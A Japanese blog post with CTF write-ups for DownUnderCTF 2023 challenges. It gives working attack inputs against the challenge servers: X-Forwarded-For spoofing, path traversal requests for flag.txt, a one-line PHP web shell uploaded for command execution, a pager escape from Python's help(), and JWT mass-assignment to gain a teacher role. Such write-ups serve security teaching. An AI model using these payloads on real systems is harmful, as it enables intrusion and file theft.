はまやんはまやんはまやん

hamayanhamayan's blog

DownUnderCTF 2023 Writeups

[web] proxed

ソースコードが与えられるので、まずはソースコードを読んでみよう。
まず、Dockerfileを読むと、golangで書かれているくらいしか情報量がない。
go.modも気になる情報はない。
main.goを読んでいく。
ものすごい簡潔なソースコードでありがたい。

package main

import (
    "flag"
    "fmt"
    "log"
    "net/http"
    "os"
    "strings"
)

var (
    port = flag.Int("port", 8081, "The port to listen on")
)

func main() {

    flag.Parse()

    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        xff := r.Header.Values("X-Forwarded-For")

        ip := strings.Split(r.RemoteAddr, ":")[0]

        if xff != nil {
            ips := strings.Split(xff[len(xff)-1], ", ")
            ip = ips[len(ips)-1]
            ip = strings.TrimSpace(ip)
        }

        if ip != "31.33.33.7" {
            message := fmt.Sprintf("untrusted IP: %s", ip)
            http.Error(w, message, http.StatusForbidden)
            return
        } else {
            w.Write([]byte(os.Getenv("FLAG")))
        }
    })

    log.Printf("Listening on port %d", *port)
    log.Fatal(http.ListenAndServe(fmt.Sprintf(":%d", *port), nil))
}

内容としてはIPアドレス31.33.33.7であればフラグがもらえる。
どうやってIPアドレスを確認しているかというと、
xff := r.Header.Values("X-Forwarded-For")
の部分で、つまり、GETリクエストのリクエストヘッダーとしてX-Forwarded-For: 31.33.33.7を追加すればいい。

リクエストヘッダーの追加をブラウザのみでやるのは面倒なので、以下のような手段で頑張る。
どれを使ってもいいが、Burp Suiteで自分はいつもやってる。

  • Burp Suiteのようなプロキシツールを使う
  • PostmanみたいなHTTPリクエストが便利に叩けるツールを使う
  • curlみたいなCLIベースの色々追加できるツールを使う

Burp Suiteを使ったとすると、普通に組み込みのChroniumブラウザで開くとリクエストは以下のように記録される。

GET / HTTP/1.1
Host: proxed.duc.tf:30019
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 [編集済み]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

このリクエストをRepeaterに送って、ヘッダーを追加して送るとフラグがもらえる。

GET / HTTP/1.1
Host: proxed.duc.tf:30019
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close
X-Forwarded-For: 31.33.33.7

[web] static file server

/flag.txtを取得するのが目的の問題。
ソースコードも与えられていて、メインの部分は以下だけ。

app = web.Application()
app.add_routes([
    web.get('/', index),

    # this is handled by https://github.com/aio-libs/aiohttp/blob/v3.8.5/aiohttp/web_urldispatcher.py#L654-L690
    web.static('/files', './files', follow_symlinks=True)
])
web.run_app(app)

/filesエンドポイントでファイルが取得できる。
明白に脆弱な所はなさそうだが、とりあえずパストラバーサルを以下のように試すとフラグがもらえた。
aiohttpのweb.staticはパストラバーサルに対して脆弱なようだ。

GET /files/../../flag.txt HTTP/2
Host: web-static-file-server-9af22c2b5640.2023.ductf.dev

[web] xxd-server

/flagを読み取る問題。
ソースコードが与えられているので読む。
ファイルをアップロードすると、xxdコマンドのような形でhexを返してくれるサイトが与えられる。
以下、POST時のロジック。

if (isset($_FILES['file-upload'])) {
    $upload_dir = 'uploads/' . bin2hex(random_bytes(8));
    $upload_path = $upload_dir . '/' . basename($_FILES['file-upload']['name']);
    mkdir($upload_dir);
    $upload_contents = xxd(file_get_contents($_FILES['file-upload']['tmp_name']));
    if (file_put_contents($upload_path, $upload_contents)) {
        $message = 'Your file has been uploaded. Click <a href="' . htmlspecialchars($upload_path) . '">here</a> to view';
    } else {
        $message = 'File upload failed.';
    }
}

/uploads/[ランダムな8bytesのhex]/[アップロードファイル名]のような感じで配置される。
アップロードファイル名はパストラバーサル対策しかされてないので、evil.phpみたいなものを配置すればphpが実行可能。
問題はxxd関数の処理。

// Emulate the behavior of command line 'xxd' tool
function xxd(string $s): string {
    $out = '';
    $ctr = 0;
    foreach (str_split($s, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
        }
        $out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
        $ctr += 16;
    }
    return $out;
}

それほど細かく理解する必要はなく、出力結果から仕様を理解してもいい。
xxd関数でxxdのような出力を作っていて、16文字毎にhexに変換されている。
16文字を超えると、改行などが入って面倒なことになるので、16文字でいい感じのPHPコードが作れればいいが、それは実現可能。

<?=`$_GET[0]`;?>

これでRCEができるようになるので、/uploads/6d8ec737e2b4a4c3/a.php?0=cat%20/flagみたいにやればフラグ獲得。

[misc] helpless

指定のsshにつなぐと、pythonのhelp()が起動した状態で起動する。
ここから/home/ductf/flag.txtを読む問題。

こういう特定制約下にある環境から抜け出して色々頑張る問題をjail問題とか言ったりするが、
過去のそういう問題で使われたテクを使うと解けた。

まず、それほど大きくないコンソールでsshでつなげる。
次にhelp> strを実行。(help>は既にかいてあるのでstrを実行)
すると、strの中身が表示されるが、この時現在のコンソールに表示し切れない量の出力がされると、
Pagerのような画面が起動する。
これは実際はlessコマンドが実行されていて、このlessコマンドが悪用可能となる。
:e /home/ductf/flag.txtとすると任意のファイルを読み出すことができフラグが得られる。

[web] actually-proxed

全然気が付かず時間を溶かしてしまった。

proxy/main.goにリクエストが行き、ヘッダーを確認して、x-forwarded-forがあれば末尾にクライアントIPをつけて(プロキシが通常やるように)
secret_server/main.goにリクエストを飛ばす。secret_serverの方ではx-forwarded-forにある最後のIPが31.33.33.7であるかを確認している。
論点はヘッダーの処理だけなので、そのあたりのソースを抜粋する。

proxy/main.go

    for i, v := range headers {
        if strings.ToLower(v[0]) == "x-forwarded-for" {
            headers[i][1] = fmt.Sprintf("%s, %s", v[1], clientIP)
            break
        }
    }

secret_server/main.go

        xff := r.Header.Values("X-Forwarded-For")

        ip := strings.Split(r.RemoteAddr, ":")[0]

        if xff != nil {
            ips := strings.Split(xff[len(xff)-1], ", ")
            ip = ips[len(ips)-1]
            ip = strings.TrimSpace(ip)
        }

        // 1337 hax0rz 0nly!
        if ip != "31.33.33.7" {
            message := fmt.Sprintf("untrusted IP: %s", ip)
            http.Error(w, message, http.StatusForbidden)
            return
        } else {
            w.Write([]byte(os.Getenv("FLAG")))
        }

読んでToLowerとかの結果に差が出るのか?とかUnicodeか?とかやっている間に100solvesを超えてしまい、
最安の問題が400solvesとかなのにさすがに難しすぎるということで、適当にヘッダーをガチャガチャやっているとフラグが出てきた。

GET / HTTP/1.1
Host: actually.proxed.duc.tf:30009
Connection: close
X-Forwarded-For: 31.33.33.7
X-Forwarded-For: 31.33.33.7

これでフラグが出てくる。
proxy側で全部処理してる…と思っていたがbreakを見逃していた(!?)
ということで、proxy側では最初のX-Forwarded-Forしか処理しないが、secret_server側では最後のX-Forwarded-Forが使用されるので、
このあたりの仕様の違いを利用すればフラグが得られるという問題。

[web] grades_grades_grades

最終的には先生ユーザーを作って/grades_flagにアクセスすればフラグが得られる。
先生かどうかの判定は以下のようにやっていて、is_teacherがTrueである必要がある。

def is_teacher_role():
    # if user isn't authed at all
    if 'auth_token' not in request.cookies:
        return False
    token = request.cookies.get('auth_token')
    try:
        data = decode_token(token)
        if data.get('is_teacher', False):
            return True
    except jwt.DecodeError:
        return False
    return False 

以下のように通常の(生徒の)ユーザーは作れる。

@api.route('/signup', methods=('POST', 'GET'))
def signup():

...

    # get form data
    if request.method == 'POST':
        jwt_data = request.form.to_dict()
        jwt_cookie = current_app.auth.create_token(jwt_data)
        if is_teacher_role():
            response = make_response(redirect(url_for('api.index', is_auth=True, is_teacher_role=True)))
        else:
            response = make_response(redirect(url_for('api.index', is_auth=True)))
        
        response.set_cookie('auth_token', jwt_cookie, httponly=True)
        return response

    return render_template('signup.html')

JWTはHS256で署名されてて、攻撃可能な部分は見当たらない。
問題があるのは呼び出し側の方でcurrent_app.auth.create_token(jwt_data)という風に作成をしているが、
jwt_dataはjwt_data = request.form.to_dict()のように外部入力をそのまま入れ込んでいる。
よって、通常はPOST /signup

stu_num=test&stu_email=test%40example.com&password=test

のように入力を入れるが、

stu_num=test&stu_email=test%40example.com&password=test&is_teacher=true

のように入れることで意図せぬ項目を入れ込むことができる。
これで先生アカウントが作れたのでこれを使ってGET /grades_flagするとフラグ獲得。

[web] cgi fridays

   if ($page =~ /^stat|io|maps$/) {
        return HTDOCS . '/pages/denied.txt' unless $remote_addr eq '127.0.0.1';
        return "/proc/self/$page";
    }

ここが脆弱なポイント。
正規表現/^stat|io|maps$/はうまく動いていそうに見えるが、^statiomaps$のorになっている。
よって1番目の条件を使うと先頭がstatならなんでも通ってしまう。
これにより、その後の"/proc/self/$page"に対してstat/../../../flag.txtとするとパストラバーサル可能。

残った問題はその前のremote_addr条件の回避である。
呼び出し時にmy $file_path = route_request($q->param('page'), $ENV{'REMOTE_ADDR'});のようにREMOTE_ADDRを持ってきて、
関数先でmy ($page, $remote_addr) = @_;のように取得して使っている。
猛烈ググったが何も出てこない…solvesが60を超えてきたので、単純な何かを見逃していそうな雰囲気がある。
と思って、色々試すと以下のように回避できた。
GET /?page=stat&page=127.0.0.1
恐らくだが、引数を渡すときに配列を渡すと分解されて引数をねじ込むことができるのだろう。
とにかく、GET /?page=stat&page=127.0.0.1のようにすると、remote_addr判定が回避可能。

組み合わせると、GET /?page=stat/../../../flag.txt&page=127.0.0.1なのだが、うまくいかない。
あれっと思ってコンテナ内部でcat /proc/self/stat/../../../flag.txtをやってみるとエラーになる。
だがcat /proc/self/../../flag.txtは動く。
存在するフォルダを置かないといけないっぽい。
そうなると正規表現のioのマッチング部分をうまく使ってパスにioを含ませながらflag.txtへ行けばよさそう。

chatgptでコマンドを作ってもらい、find / -type d -name "*io*"で探すと使えそうなものが見つかる。
たくさん見つかるが/usr/include/linux/iioを使った。
cat /proc/self/../../usr/include/linux/iio/../../../../flag.txtがちゃんと動く。
ということでGET /?page=../../usr/include/linux/iio/../../../../flag.txt&page=127.0.0.1でフラグ獲得